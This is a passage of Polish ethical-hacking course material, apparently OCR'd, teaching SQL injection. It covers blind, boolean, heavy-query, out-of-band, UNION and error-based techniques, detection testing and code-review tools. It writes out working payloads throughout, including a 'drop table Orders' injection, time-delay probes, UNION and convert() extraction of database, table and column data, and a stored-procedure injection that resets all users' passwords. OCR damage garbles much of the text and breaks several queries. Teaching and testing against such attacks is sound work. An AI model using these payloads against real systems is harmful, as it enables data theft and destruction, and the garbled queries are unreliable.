Zobaczmy rdéznice miedzy komunikatami o btedach uzyskanymi, gdy programisci uzywaja ogdlnych
komunikatéw o btedach, a kiedy wytaczajg ogdlny komunikat o btedzie i uzywajg niestandardowego
komunikatu o btedzie, jak pokazano na ponizszym rysunku.

sesssssssssssscnnnan ) certifiedhacker’; drop table Orders -~

SQL Injection
Attack
Attacker
v v
Blind SQL Injection (Attack Successful) Simple SQL Injection
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Microsoft OLE DB Provider

ﬁ oops! for ODBC Drivers error

'80040e14"

- [Microsoft] {[ODBC SQL Server

Driver)] [SQL Server]Unclosed
We are unable to process quotation mark before the
your request. Please try character string ''.

back later. /shopping/buy.aspx, line 52

Gdy osoba atakujgca prébuje wykonac¢ wstrzykniecie SQL za pomocg zapytania , certifiedhacker”; drop
table Orders —"”, mogg zostaé zwrécone dwa rodzaje komunikatéw o btedach. Ogdélny komunikat o
btedzie moze pomdc atakujgcemu w przeprowadzeniu atakéw typu SQL injection na aplikacje. Jesli
jednak programista wytgczy ogdlne komunikaty o btedach, aplikacja zwrdci niestandardowy komunikat
o btedzie, ktéry nie jest przydatny dla atakujgcego. W takim przypadku osoba atakujgca zamiast tego
sprébuje przeprowadzi¢ atak typu ,slepe wstrzykniecie kodu SQL”. Jesli uzywany jest ogdlny komunikat
o btedzie, serwer zwraca komunikat o bfedzie ze szczegdétowym wyjasnieniem btedu, sterownikami
bazy danych i szczegétami serwera ODBC SQL. Informacje te mogg by¢ wykorzystane do dalszego
przeprowadzenia ataku SQL injection. Gdy uzywany jest komunikat niestandardowy, przegladarka po
prostu wyswietla komunikat o btedzie informujacy, ze wystgpit btad i zgdanie nie powiodto sie, bez
podawania zadnych szczegétéw. W zwigzku z tym atakujgcy nie ma innego wyboru, jak tylko
sprobowad sSlepego ataku typu SQL injection.

Blind SQL Injection: CZEKAJ NA OPOZNIENIE (ODPOWIEDZ TAK lub NIE)

Wstrzykniecie SQL z opdznieniem czasowym (czasami nazywane iniekcjg SQL opartg na czasie) ocenia
opdinienie czasowe wystepujgce w odpowiedzi na prawdziwe lub fatszywe zapytania wysytane do bazy
danych. Instrukcja waitfor zatrzymuje serwer SQL na okreslony czas. Na podstawie odpowiedzi
atakujgcy jako administrator systemu lub jako inny uzytkownik wyodrebni informacje takie jak czas
potgczenia z bazg danych i przeprowadzi dalsze ataki.

Krok 1: IF EXISTSfSELECT * FROM creditcard) WAITFOR DELAY '0:0:10'—
Krok 2: Sprawdz, czy baza danych , karta kredytowa” istnieje, czy nie

Krok 3: Jesli nie, wyswietla sie komunikat ,Nie mozemy przetworzy¢ Twojego zgdania. Sprobuj
ponownie pdzniej”.



Krok 4: Jesli tak, przespij sie przez 10 sekund. Po 10 sekundach wyswietla komunikat ,Nie mozemy
przetworzy¢ Twojego zgdania. Sprébuj ponownie pdzniej”.

Poniewaz zaden komunikat o btedzie nie zostanie zwrdcony, uzyj polecenia ,,czekaj na opdznienie”,
aby sprawdzi¢ status wykonania SQL.

WAIT FOR DELAY 'time' (seconds)

To jest jak sen; czeka¢ na okreslony czas. Procesor to bezpieczny sposdb na oczekiwanie bazy danych.
WAITFOR DELAY '0:0:10'—

BENCHMARK)) (Minutes)

To polecenie dziata na serwerze MySQL.

BENCHMARK(howmanytimes, do this)

Blind SQL Injection: Boolean Exploitation

Oparta na wartosciach boolowskich Slepa iniekcja SQL (czasami nazywana inferencjalng iniekcjg SQL)
jest wykonywana poprzez zadawanie odpowiednich pytan do bazy danych aplikacji. W zadaniu HTTP
w parametrze, ktérego dotyczy problem, podano wiele poprawnych instrukcji ocenionych jako prawda
lub fatsz. Poréwnujgc strone odpowiedzi miedzy obydwoma warunkami, osoby atakujgce moga
wywnioskowaé, czy wstrzykniecie sie powiodto. Jesli atakujgcy skonstruuje i wykona odpowiednie
zadanie, baza danych ujawni wszystko, co atakujacy chce wiedzieé, co utatwia dalsze ataki. W tej
technice atakujgcy wykorzystuje zestaw operacji boolowskich w celu wyodrebnienia informacji o
tabelach bazy danych. Atakujgcy czesto uzywa tej techniki, jesli wydaje sie, ze aplikacja moze zostac
wykorzystana przy uzyciu Slepego ataku SQL injection. Jesli aplikacja nie zwréci zadnego domysinego
komunikatu o btedzie, osoba atakujgca prébuje uzyé operacji logicznych przeciwko aplikacji. Na
przyktad nastepujacy adres URL wyswietla szczegéty elementu o identyfikatorze = 67

http://www.myshop.com/item.aspx?id=67

Zapytanie SQL dla powyzszego zgdania to

SELECT Name, Price, Description FROM ITEM_DATA WHERE ITEM_ID = 67
Atakujgcy moze manipulowac powyzszym zgdaniem, aby
http://www.myshop.com/item.aspx?id=67 i 1=2

Nastepnie zapytanie SQL zmieni sie na

SELECT Name, Price, Description FROM ITEM_DATA WHERE ITEM_ID =67 AND 1 =2

Jezeli wynikiem powyzszego zapytania jest FALSZ, na stronie nie zostang wyswietlone zadne pozycje.
Nastepnie atakujgcy zmienia powyzsze zgdanie na

http://www.myshop.com/item.aspx?id=67 i 1=1
Odpowiednie zapytanie SQL to
SELECT Name, Price, Description FROM ITEM_DATA WHERE ITEM_ID=67AND 1=1

Jesli powyisze zapytanie zwréci TRUE, to zostang wysSwietlone szczegoty elementu o id = 67. Stad z
powyzszego wyniku atakujgcy wnioskuje, ze strona jest podatna na atak typu SQL injection.



Blind SQL Injection: Ciezkie zapytanie

W niektdrych przypadkach uzycie funkcji opdznienia czasowego w zapytaniach SQL jest niemozliwe,
poniewaz administrator bazy danych moze wytgczy¢ korzystanie z takich funkcji. W takich przypadkach
osoba atakujagca moze uzyé ciezkich zapytan do przeprowadzenia ataku typu SQL injection z
opdznieniem czasowym bez uzycia funkcji opdéznienia czasowego. Ciezkie zapytanie pobiera ogromng
ilos¢ danych, a jego wykonanie w silniku bazy danych zajmie duzo czasu. Atakujgcy generujg ciezkie
zapytania przy uzyciu wielu sprzezen w tabelach systemowych, poniewaz wykonanie zapytan w
tabelach systemowych zajmuje wiecej czasu. Na przykfad ponizej znajduje sie ciezkie zapytanie w
Oracle, ktérego wykonanie zajmuje duzo czasu:

SELECT count(*) FROM all_users A, all_users B, all_users C

Jesli osoba atakujgca wstrzyknie ztosliwy parametr do powyiszego zapytania w celu wykonania
wstrzykniecia SQL opartego na czasie bez uzycia funkcji, przybierze to nastepujgca postac:

1 AND 1 < SELECT liczba(*) FROM all_usersA, all_users B, all_users C
Koncowe wynikowe zapytanie ma postaé

SELECT * FROM products WHERE id=lI AND 1 < SELECT count(*) FROM all_users A, all_users B, all_users
C

Ciezki atak zapytan to nowy typ ataku typu SQL injection, ktéry ma powazny wptyw na wydajnos¢
serwera.

Wstrzykiwanie kodu SQL poza pasmem

Ataki typu out-of-band SQL injection sg trudne do przeprowadzenia, poniewaz osoba atakujgca musi
komunikowa¢ sie z serwerem i okresli¢ funkcje serwera bazy danych uzywanego przez aplikacje
internetowg, w tym ataku osoba atakujgca wykorzystuje rézne kanaty komunikacji (takie jak poczta
funkcjonalno$é lub funkcje zapisu i tadowania plikdw) w celu przeprowadzenia ataku i uzyskania
wynikéw. Atakujgcy uzywaja tej techniki zamiast in-band lub blind SQL injection, jesli nie sg w stanie
uzy¢ tego samego kanatu, przez ktéry wysytane sg zgdania, aby rozpoczgé atak i zebraé wyniki.
Atakujacy uzywajg zgdann DNS i HTTP do pobierania danych z serwera bazy danych. Na przyktad w
Microsoft SQL Server osoba atakujgca wykorzystuje polecenie xp_dirtree do wysytania zgdan DNS do
serwera kontrolowanego przez osobe atakujgcg. Podobnie w Oracle Database atakujgcy moze uzyé
pakietu UTL_HTTP do wysytania zgdan HTTP z SQL lub PL/SQL do serwera kontrolowanego przez
atakujacego.

Metodologia iniekcji SQL

W poprzednich sekcjach opisano réine typy technik iniekcji SQL. Atakujgcy stosujg okreslong
metodologie przeprowadzania atakéw typu SQL injection, aby upewnic sie, ze ataki te zakonczg sie
sukcesem, analizujgc wszystkie mozliwe metody przeprowadzania atakéw. Ta sekcja zawiera wglad w
metodologie iniekcji SQL, ktéra obejmuje szereg krokdw niezbednych do udanych atakéw iniekcji SQL.
Metodologia iniekcji SQL sktada sie z nastepujgcych krokow:

Zbieranie informacji i wykrywanie podatnosci na wstrzykiwanie kodu SQL
Rozpoczynanie atakéw typu SQL injection
Kompromitacja catej sieci docelowe]j (Advanced SQL injection)

Zbieranie informacji i wykrywanie luk w zabezpieczeniach zwigzanych z iniekcjg SQL



Zbieranie informacji

Na etapie zbierania informacji osoby atakujgce prdébujg zebra¢ informacje o docelowej bazie danych,
takie jak nazwa bazy danych, wersja, uzytkownicy, mechanizm wyjsciowy, typ bazy danych, poziom
uprawnien uzytkownika i poziom interakcji z systemem operacyjnym. Zrozumienie podstawowego
zapytania SQL pozwoli atakujgcemu na stworzenie poprawnych instrukcji iniekcji SQL. Komunikaty o
btedach sg niezbedne do wyodrebnienia informacji z bazy danych.

W zaleznosci od rodzaju wykrytych btedéw osoba atakujgca moze wyprdbowac rézne techniki ataku
typu SQL injection. Atakujgcy wykorzystuje gromadzenie informacji, znane réwniez jako metoda
ankiety i oceny, w celu uzyskania petnych informacji o potencjalnym celu. W ten sposdb atakujacy
poznaje typ bazy danych, wersje bazy danych, poziomy uprawnien uzytkownika itd. Atakujgcy zwykle
gromadzi informacje na réznych poziomach, zaczynajgc od identyfikacji typu bazy danych i
wyszukiwarki bazy danych. Rézne bazy danych wymagajg réznej sktadni SQL. Atakujgcy stara sie
zidentyfikowac¢ silnik bazy danych uzywany przez serwer, kolejnym krokiem jest identyfikacja
poziomdéw uprawnied, poniewaz istnieje szansa na uzyskanie najwyzszych uprawnien jako
autentycznego uzytkownika. Nastepnie osoba atakujgca probuje uzyskac¢ hasto i skompromitowaé
system. Interakcja z systemem operacyjnym poprzez wykonanie powtoki polecen umozliwia
atakujgcemu ztamanie zabezpieczen catej sieci. Informacje mozna zbieraé w nastepujgcych krokach:

1. Sprawdz, czy aplikacja internetowa tgczy sie z serwerem bazy danych, aby uzyskaé dostep do
niektorych danych

2. Sporzadz liste wszystkich pél wejsciowych i pdl ukrytych oraz wyslij zgdania, ktérych wartosci
mogtyby zostaé uzyte do stworzenia zapytania SQL

3. Sprébuj wprowadzi¢ kod do pdl wejsciowych, aby wygenerowac btgd
4. Sprébuj wstawic cigg znakdw w miejscu, w ktérym oczekuje sie liczby w polu wejsciowym
5. Uzyj operatora UNION, aby pofaczy¢ zestawy wynikéw dwdch lub wiecej instrukcji SELECT

6. Sprawdz szczegdétowe komunikaty o btedach, aby uzyskac¢ informacje potrzebne do wykonania
iniekcji SQL

Identyfikowanie Sciezek wejscia danych

Osoba atakujaca bedzie szukac wszystkich mozliwych bramek wejsciowych aplikacji, przez ktére mozna
probowaé roézinych technik wstrzykiwania kodu SQL. Osoba atakujagca moze uzywac
zautomatyzowanych narzedzi, takich jak Tamper Chrome, Burp Suite i tak dalej. Bramki wejsciowe
moga obejmowac pola wejsciowe w formularzu internetowym, pola ukryte lub pliki cookie uzywane w
aplikacji do utrzymywania sesji. Atakujgcy analizuje internetowe zgadania GET i POST wysyfane do
docelowej aplikacji za pomocg nastepujacych narzedzi w celu znalezienia bramek wejsciowych do
wstrzykniecia kodu SQL.

Manipuluj Chrome

Tamper Chrome pozwala monitorowa¢ zadania wysytane przez przegladarke, a takze odpowiedzi.
Mozesz takze modyfikowaé zgdania w miare ich wysytania oraz w ograniczonym zakresie modyfikowac
odpowiedzi (nagtéwki, css, javascript lub XMLHttpRequest responseText).

Burp Suite



Burp Suite to narzedzie do testowania bezpieczenstwa aplikacji internetowych, ktére umozliwia
atakujagcemu kontrole i modyfikowac¢ ruch miedzy przegladarka a aplikacjg docelowa. Umozliwia
atakujgcemu identyfikowac luki w zabezpieczeniach, takie jak iniekcja SQL, XSS i tak dalej.

Wyodrebnianie informacji za pomocg komunikatéw o btedach

Komunikaty o btedach sg niezbedne do wyodrebnienia informacji z bazy danych. W niektdérych
technikach iniekcji SQL osoba atakujgca wymusza na aplikacji wygenerowanie komunikatu o btedzie.
Jesli programisci uzywali ogdélnych komunikatéw o btedach w swoich aplikacjach, mogag dostarczy¢
atakujacemu przydatne informacje. W odpowiedzi na dane wejsciowe atakujgcego do aplikacji, baza
danych moze wygenerowaé komunikat o btedzie dotyczacy sktadni i tak dalej. Komunikat o btedzie
moze zawierac informacje o systemie operacyjnym, typie bazy danych, wersji bazy danych, poziomie
uprawnien, poziomie interakcji z systemem operacyjnym i tak dalej. Na podstawie rodzaju informacji
uzyskanych z komunikatu o btedzie osoba atakujgca wybiera technike iniekcji SQL w celu wykorzystania
luki w aplikacji. Atakujacy moga uzyska¢ informacje z komunikatéw o btedach za pomoca
nastepujgcych metod:

Manipulowanie parametrami

Osoba atakujgca moze manipulowac zgdaniami HTTP GET i POST w celu wygenerowania bteddow.
Narzedzia Burp Suite lub Tamper Chrome mogg manipulowac¢ zgdaniami GET i POST. Komunikaty o
btedach uzyskane przy uzyciu tej techniki mogg dostarczy¢ atakujgcemu informacji, takich jak nazwa
serwera bazy danych, struktura katalogu i funkcje uzyte w zapytaniu SQL. Parametry mozna
modyfikowac¢ bezposrednio z paska adresu lub za pomocg serweréw proxy.

Na przyktad,
http://certifiedhacker.com/download.php?id=car
http://certifiedhacker.com/download.php?id=horse
http://certifiedhacker.com/download.php?id=book
Okreslanie typu silnika bazy danych

Okreslenie typu silnika bazy danych ma fundamentalne znaczenie dla przeprowadzenia ataku iniekcji.
Jednym z najtatwiejszych sposobdéw okreslenia typu uzywanego silnika bazy danych jest
wygenerowanie btedéw ODBC, ktdre pokazg, z jakim silnikiem DB pracujesz. Komunikaty o btedach
ODBC ujawniajg typ uzywanego silnika bazy danych lub umozliwiajg atakujgcemu odgadniecie i
okreslenie, jaki typ silnika bazy danych mégt zostaé uzyty w aplikacji. Atakujacy, ktory nie jest w stanie
uzyska¢ btedu ODBC, moze zgadywaé na podstawie uzywanego systemu operacyjnego i serwera
WWW. Btedy ODBC wyswietlajg typ bazy danych jako cze$é informacji o sterowniku.

Okreslanie struktury zapytania SELECT

Dzieki otrzymanemu komunikatowi o btedzie osoba atakujgca moze wyodrebni¢ oryginalng strukture
zapytania uzytego w aplikacji. Pozwala to atakujgcemu na skonstruowanie ztosliwego zapytania w celu
przejecia kontroli nad pierwotnym zapytaniem. Aby uzyskac¢ oryginalng strukture zapytania, atakujacy
zmusza aplikacje do generowania bteddw aplikacji, ktére ujawniajg informacje, takie jak nazwy tabel,
nazwy kolumn i typy danych. Atakujacy wstrzykujg prawidiowy segment SQL bez generowania
nieprawidtowego btedu sktadni SQL w celu bezbtednej nawigacji. Prébujg odtworzy¢ bezbtedna
nawigacje, wprowadzajgc proste dane wejsciowe, takiejak 1i,1” =,1Lub1i,1” =,2. Ponadto uzywajg



klauzul SQL, takich jak grupowanie wedtug nazw kolumn, ktére majg 1=1- " aby okresli¢ nazwy tabel i
kolumn.

Zastrzyki

Wiekszos¢ wstrzyknied nastgpi w srodku instrukcji SELECT. W klauzuli SELECT prawie zawsze konczymy
w sekcji WHERE.

Na przyktad:

SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1
-- GROUP BY x HAVING x =y ORDER BY x

Btad grupowania

Polecenie HAVING pozwala na dalsze zdefiniowanie zapytania w oparciu o pola ,zgrupowane”.
Komunikat o btedzie powie nam, ktére kolumny nie zostaty pogrupowane.

Na przyktad:
' group by columnnames having 1=1 --
Niezgodno$¢ typow

Sprébuj wstawic ciggi znakow do pdl numerycznych; komunikaty o btedach pokazg dane, ktorych nie
udato sie przekonwertowad.

Na przyktad:

"union select 1,1,'text',1,1,1 --

"union select 1,1, bigint,1,1,1 --

Zastrzyk na $lepo

Uzyj opdznien czasowych lub sygnatur bteddw, aby okresli¢ lub wyodrebni¢ informacje.
Na przyktad:

'; if condition waitfor delay '0:0:5' --

'; union select if( condition , benchmark (100000, shal('test')),

'false'),1,1,1,1;

Osoba atakujgca wykorzystuje komunikaty o btedach na poziomie bazy danych generowane przez
aplikacje. Jest to bardzo przydatne przy tworzeniu zgdania wykorzystania luki w zabezpieczeniach.
Istnieje nawet szansa na stworzenie zautomatyzowanych exploitéw w zaleznosci od komunikatéw o
btedach generowanych przez serwer bazy danych.

Uwaga: jesli aplikacje nie wyswietlajg szczegétowych komunikatow o btedach i zwracajg prosty ,,Btad
serwera 500” lub niestandardowg strone btedu, sprébuj zastosowad techniki slepego wstrzykiwania.

Wykrywanie luk w zabezpieczeniach SQL Injection

Po zebraniu informacji atakujacy prébuje wyszukac luki SQL w docelowej aplikacji internetowej. W tym
celu atakujgcy wyswietla liste wszystkich pdl wejsciowych, ukrytych pdl i zadan wpisdow na stronie
internetowej, a nastepnie prébuje wstrzyknaé kod do pdél wejsciowych, aby wygenerowac btad.



Testowanie pod katem iniekcji SQL

Istniejg standardowe dane wejsciowe wstrzykiwania SQL, zwane ciggami testowymi, uzywane przez
atakujgcego do przeprowadzania atakéw wstrzykiwania QL. Tester penetracyjny (pidrowy) uzywa
réwniez tych ciggéw testowych do oceny bezpieczenstwa aplikacji przed atakami typu SQL injection.
Ponizsza tabela podsumowuje rézne mozliwosci dla kazdego ciggu testowego. Te ciggi testowe s3
powszechnie znane jako $ciggawki do iniekcji SQL. Tester pidra moze uzyc tej Sciggawki do sprawdzenia
podatnosci na iniekcje SQL.

Dodatkowe metody wykrywania iniekcji SQL
Ponizej wymieniono niektére dodatkowe metody wykrywania iniekcji SQL:
Testowanie funkcji

Testowanie funkcji to rodzaj techniki testowania oprogramowania, w ktérej oprogramowanie lub
system jest testowany na zestawie danych wejsciowych zgodnie z potrzebami uzytkownika
koricowego. Dane wyjsciowe uzyskane z danych wejsciowych sg nastepnie oceniane i poréwnywane z
oczekiwanymi wynikami w celu sprawdzenia, czy s one zgodne z funkcjonalnoscig lub podstawowymi
wymaganiami produktu. Testowanie to wchodzi w zakres testowania czarnej skrzynki i jako takie nie
wymaga znajomosci wewnetrznego projektu kodu lub logiki. Sprawdza bezpieczenstwo, interfejs
uzytkownika, baze danych, aplikacje klient/serwer, funkcje nawigacyjne i ogdlng uzytecznosé
komponentu lub systemu. Na przykfad:

http://certifiedhacker.com/?parameter=123
http://certifiedhacker.com/?parameter=I'
http://certifiedhacker.com/?parameter=I'#
http://certifiedhacker.com/?parameter=I"
http://certifiedhacker.com/?parameter=l AND 1=1--
http://certifiedhacker.com/?parameter=I'-
http://certifiedhacker.com/?parameter=l AND 1=2--
http://certifiedhacker.com/?parameter=I'/*
http://certifiedhacker.com/?parameter=I' AND 'I'='l
http://certifiedhacker.com/?parameter=l zaméw o 1000
Testowanie rozmycia

Jest to adaptacyjna technika testowania iniekcji SQL uzywana do wykrywania btedéw kodowania
poprzez wprowadzanie ogromnej ilosci losowych danych i obserwowanie zmian w danych
wyjsciowych. Fuzz testing (fuzzing) to metoda testowania czarnej skrzynki. Jest to technika
sprawdzania i zapewniania jakosci uzywana do identyfikowania btedéw kodowania i luk w
zabezpieczeniach w aplikacjach internetowych. Ogromne ilosci losowych danych zwanych ,fuzz” bedg
generowane przez narzedzia do testowania fuzz (fuzzery) i wykorzystywane przeciwko docelowe;j
aplikacji internetowej w celu wykrycia luk w zabezpieczeniach, ktére mozna wykorzysta¢ w réznych
atakach.

Narzedzia do testowania rozmycia:



0 BeSTORM (https://www.beyondsecurity.com)

o Burp Suite ( https://portswigger.net )

o HCLAppScan (https://www.hcltechsw.com)

o Peach Fuzzer ( https://sourceforge.net )

Testy statyczne

Analiza kodu zrédtowego aplikacji webowe;.

Testy dynamiczne

Analiza zachowania srodowiska uruchomieniowego aplikacji internetowej
SQL Injection Black Box Test Pen

W testach czarnej skrzynki tester pidra nie musi mie¢ zadnej wiedzy na temat testowanej sieci lub
systemu. Pierwszym zadaniem testera jest okresSlenie lokalizacji i infrastruktury systemu. Tester
prébuje zidentyfikowaé podatnosci aplikacji internetowych z perspektywy atakujgcego. On / ona
uzywa znakow specjalnych, spacji, stéw kluczowych SQL, zbyt duzych zadan i tak dalej, aby okresli¢
rézne warunki aplikacji internetowej. Nastepujgce kroki sg zaangazowane w testowanie piérem czarnej
skrzynki SQL injection:

Wykrywanie problemdéw z iniekcjg SQL

o Wysylaj pojedyncze cudzystowy jako dane wejsciowe, aby wykry¢ przypadki, w ktérych dane
wejsciowe uzytkownika nie sg oczyszczane

o Wysytaj podwodjne cudzystowy jako dane wejsciowe, aby wychwyci¢ przypadki, w ktérych dane
wejsciowe uzytkownika nie sg oczyszczone

Wykrywanie oczyszczania danych wejsciowych

o Uzyj prawego nawiasu kwadratowego (znak ]) jako danych wejsciowych, aby uchwyci¢ przypadki, w
ktérych dane wprowadzone przez uzytkownika sg uzywane jako czesé identyfikatora SQL bez zadnej
sanityzacji danych wejsciowych

Wykrywanie probleméw z obcieciem

o Wysytaj dtugie ciggi niepotrzebnych danych, tak jak wysytasz ciggi w celu wykrycia przepetnienia
bufora; ta akcja moze zwrdci¢ btedy SQL na stronie

Wykrywanie modyfikacji SQL

o Woysytaj dtugie ciagi pojedynczych cudzystowdéw (lub prawych nawiaséw kwadratowych lub
podwadjnych cudzystowodw)

o Maksymalizujg wartosci zwracane przez funkcje REPLACE i QUOTENAME oraz moze obcigé¢ zmienng
polecenia uzywang do przechowywania instrukcji SQL

Przeglad kodu Zzrédtowego w celu wykrycia luk w zabezpieczeniach SQL Injection

Przeglad kodu Zrédtowego to metoda testowania bezpieczenstwa, ktdra polega na systematycznym
badaniu kodu zrédtowego pod katem réznych typow luk w zabezpieczeniach. Ma na celu wykrywanie
i naprawianie btedéw bezpieczenstwa popetnionych przez programistéw w fazie rozwoju. Jest to rodzaj



testow biatoskrzynkowych, zwykle przeprowadzanych w fazie wdrazania cyklu Zzycia rozwoju
bezpieczenstwa (SDL). Czesto pomaga w znajdowaniu i usuwaniu luk w zabezpieczeniach, takich jak
luki w zabezpieczeniach SQL Injection, exploity formatu ciggdw, warunki wyscigéw, wycieki pamieci,
przepetnienia buforaitak dalej z aplikacji. Zautomatyzowane narzedzia, takie jak Veracode, Sonar, PVS-
Studio, Coverity Scan, Parasoft Jtest, CAST Application Intelligence Platform (AIP), Klocwork i tak dalej,
moga przeprowadzac przeglady kodu zrédtowego. Tester pidra moze uzyc tych narzedzi do znalezienia
luk w zabezpieczeniach kodu Zzrédtowego aplikacji. Przeglad kodu Zzrédtowego mozna rowniez wykonaé
recznie. Istniejg dwa podstawowe rodzaje recenzji kodu zrédtowego:

e Statyczna analiza kodu: Ten rodzaj analizy kodu Zrédtowego jest wykonywany w celu wykrycia
mozliwych luk w kodzie Zzrédtowym, gdy kod nie jest wykonywany, tj. gdy jest statyczny. Statyczna
analiza kodu Zrédtowego jest przeprowadzana przy uzyciu technik, takich jak analiza skazen, analiza
leksykalna i analiza przeptywu danych. Dostepnych jest wiele zautomatyzowanych narzedzi do
przeprowadzania statycznej analizy kodu zrédtowego.

Dynamiczna analiza kodu: W dynamicznej analizie kodu Zrdédtowego kod Zrdédtowy aplikacji jest
analizowany podczas wykonywania kodu. Analiza przebiega w nastepujgcych krokach: przygotowanie
danych wejsciowych, uruchomienie programu testowego, zebranie niezbednych parametréw oraz
analiza danych wyjsciowych. Dynamiczna analiza kodu jest w stanie wykry¢ luki w zabezpieczeniach
zwigzane z wstrzykiwaniem kodu SQL napotkane w wyniku interakcji kodu z bazami danych SQL,
ustugami sieciowymi itd.

Ponizej wymieniono niektére narzedzia do analizy kodu Zrédtowego:

Veracode (https://www.veracode.com)

Sonar (https://sonarsource.com)

PVS-Studio (https://www.viva64.com)

Coverity Scan (https://scan.coverity.com)

Parasoft Jtest (https://www.parasoft.com)

CAST Application Intelligence Platform (AIP) (https://www.castsoftware.com)

Klocwork (https://www.perforce.com)

Testowanie pod katem luki w zabezpieczeniach MySQL i MSSQL zwiazanej z iniekcjg kodu SQL

Osoba atakujaca moze zidentyfikowaé luki w zabezpieczeniach zwigzane z Slepym wstrzyknieciem kodu
SQL, po prostu testujgc adresy URL witryny docelowej. Rozwazmy na przyktad nastepujacy adres URL:

shop.com/items.php?id=101

Odpowiednie zapytanie SQL to

SELECT * FROM ITEMS WHERE ID = 101

Teraz podaj ztosliwe dane wejsciowe, takie jak 1=0, aby wykonad slepe wstrzykniecie SQL
shop.com/items.php?id=101 and 1=0

Wynikowe zapytanie SQL to

SELECT * FROM ITEMS WHERE ID=101AND 1=0



Powyzsze zapytanie zawsze zwrdci FALSZ, poniewaz 1 nigdy nie réwna sie 0. Teraz atakujgcy prébuja
uzyska¢ PRAWDZIWY wynik poprzez wstrzykniecie 1=1

shop.com/items.php?id=101 and 1=1
Wynikowe zapytanie SQL to
SELECT * FROM ITEMS WHERE ID=101 AND 1=1

Na koniec aplikacja sieciowa zakupdw zwraca strone z oryginalnymi przedmiotami. Na podstawie
powyzszego wyniku osoba atakujgca stwierdza, ze powyzszy adres URL jest podatny na atak polegajacy
na $lepym wstrzyknieciu kodu SQL.

Uruchom ataki SQL Injection

Po zebraniu informacji i wykryciu luk w zabezpieczeniach osoba atakujgca probuje przeprowadzi¢
rézne typy atakow typu SQL injection, takie jak SQL injection oparte na btedach, SQL injection oparte
na zwigzkach, blind SQL injection i tak dale;.

Wykonaj iniekcje Union SQL

Podczas iniekcji UNION SQL osoba atakujgca uzywa klauzuli UNION do pofaczenia ztosliwego zapytania
z pierwotnym zapytaniem w celu pobrania wynikéw z docelowej tabeli bazy danych. Osoba atakujgca
sprawdza te luke, dodajgc znacznik na koncu pliku ,,.php? id=". Jesli wréci z btedem MySQL, witryna
najprawdopodobniej jest podatna na wstrzykniecie UNION SQL. Atakujgcy nastepnie przystepuje do
uzycia ORDER BY, aby znalez¢ kolumny, a na koncu uzywa polecenia UNION ALL SELECT.

Wyodrebnij nazwe bazy danych

http://www.certifiedhacker.com/page.aspx?id=I UNION SELECT ALL 1,DB_NAME,3,4—
[DB_NAME] Zwrdcono z serwera

Wyodrebnij tabele bazy danych

http://wvrw.certifiedhacker.com/page.aspx?id=I UNION SELECT ALL
1,TABLE_NAME,3,4 from sysobjects where xtype=char(85)--

[EMPLOYEE_TABLE] Zwrécono z serwera

Wyodrebnij nazwy kolumn tabeli

http://www.certifiedhacker.com/page.aspx?id=l UNION SELECT ALL 1,column_name,3,4 from
DB_NAME.information_schema.columns where table_name ='EMPLOYEE_TABLE'—

[EMPLOYEE_NAME]

Wyodrebnij dane pierwszego pola
http://www.certifiedhacker.com/page.aspx?id=I UNION SELECT ALL
1,COLUMN-NAME-1,3,4 from EMPLOYEE_NAME —

[FIELD1VALUE] Zwrdcono z serwera

Wykonaj iniekcje SQL oparta na btedach



Osoba atakujgca wykorzystuje komunikaty o btedach na poziomie bazy danych ujawnione przez
aplikacje do zbudowania zgdania wykorzystania luki w zabezpieczeniach. Mozliwe jest réwniez
tworzenie zautomatyzowanych exploitow w zaleznosci od komunikatéw o btedach generowanych
przez serwer bazy danych.

Wyodrebnij nazwe bazy danych

http://www.certifiedhacker.com/page.aspx?id=1 or 1=convert(int,(DB_NAME))--

Btad sktadni podczas konwertowania wartosci nvarchar ,[NAZWA DB]” na kolumne typu danych int.
Wyodrebnij pierwszg tabele bazy danych

http://www.certifiedhacker.com/page.aspx?id=1 or 1=convert(int,(select top 1 name from sysobjects
where xtype=char(85)))--

Btad sktadni podczas konwertowania wartosci nvarchar '[TABLE NAME1]' na kolumne typu danych int.
Wyodrebnij nazwe pierwszej kolumny tabeli

http://www.certifiedhacker.com/page.aspx?id=1 or 1=convert(int,

(select top 1 column_name from DBNAME.information_schema.columns

where table_name='TABLE-NAME-1'))--

Btad sktadni podczas konwertowania wartosci nvarchar '[COLUMN NAME 1]' na kolumne typu danych
int.

Wyodrebnij 1. pole z 1. rzedu (dane)

http://www.certifiedhacker.com/page.aspx?id=1 or 1=convert(int,

(select top 1 COLUMN-NAME-1 from TABLE-NAME-1))—

Btad sktadni podczas konwertowania wartosci nvarchar ,[FIELD1VALUE]” na kolumne typu danych int.
Wykonaj iniekcje SQL oparta na btedach, uzywajac wstrzykiwania procedur przechowywanych

Niektdrzy programisci uzywajg procedur przechowywanych na zapleczu aplikacji internetowej w celu
obstugi jej funkcjonalnosci. Te procedury sktadowane sg czescig instrukcji SQL zaprojektowanej do
wykonywania okreslonego zadania. Deweloperzy moga pisa¢ statyczne i dynamiczne instrukcje SQL w
procedurach sktadowanych, aby wspiera¢ funkcjonalnos¢ aplikacji. Jesli programisci uzywajg
dynamicznych instrukcji SQL w procedurze sktadowanej, a uzytkownicy aplikacji wprowadzajg dane do
tego dynamicznego kodu SQL, aplikacja moze by¢ narazona na ataki SQL injection. Ataki polegajgce na
wstrzyknieciu procedury sktadowanej sg mozliwe, jesli aplikacja nie oczyszcza prawidtowo swoich
danych wejsciowych przed przetworzeniem tych danych wejsciowych w procedurze sktadowane;.
Osoba atakujgca moze wykorzystaé niewtasciwg weryfikacje danych wejsciowych do przeprowadzenia
ataku polegajgcego na wstrzyknieciu procedury sktadowanej na aplikacje. Rozwaz nastepujaca
procedure sktadowang serwera SQL:

Create procedure user_login @username varchar(20), @passwd varchar(20) As
Declare ©sqlstring varchar(250)

Set ©Osqlstring ="



Select 1 from users Where username ="'+ ©username + ' and passwd ="' +
©Opasswd

exec(©sqlstring)

Go

Wopis uzytkownika:

anyusername orl=1'anypassword

Procedura nie oczyszcza danych wejsciowych, pozwalajgc wartosci zwracanej na wyswietlenie
istniejgcej wartosci zapisywaé¢ z tymi parametrami. Rozwaz nastepujgcg procedure sktadowang
serwera SQL:

Create procedure get_report gcolumnamelist varchar(7900) As Declare

gsqlstring varchar(8000) Set gsqlstring = ' Select ' + gcolumnamelist

+ ' from ReportTable' exec(gsqlstring) Go

Wopis uzytkownika:

1 from users; update users set password = 'password'; select *

Spowoduje to uruchomienie raportu i zaktualizowanie haset wszystkich uzytkownikéw.

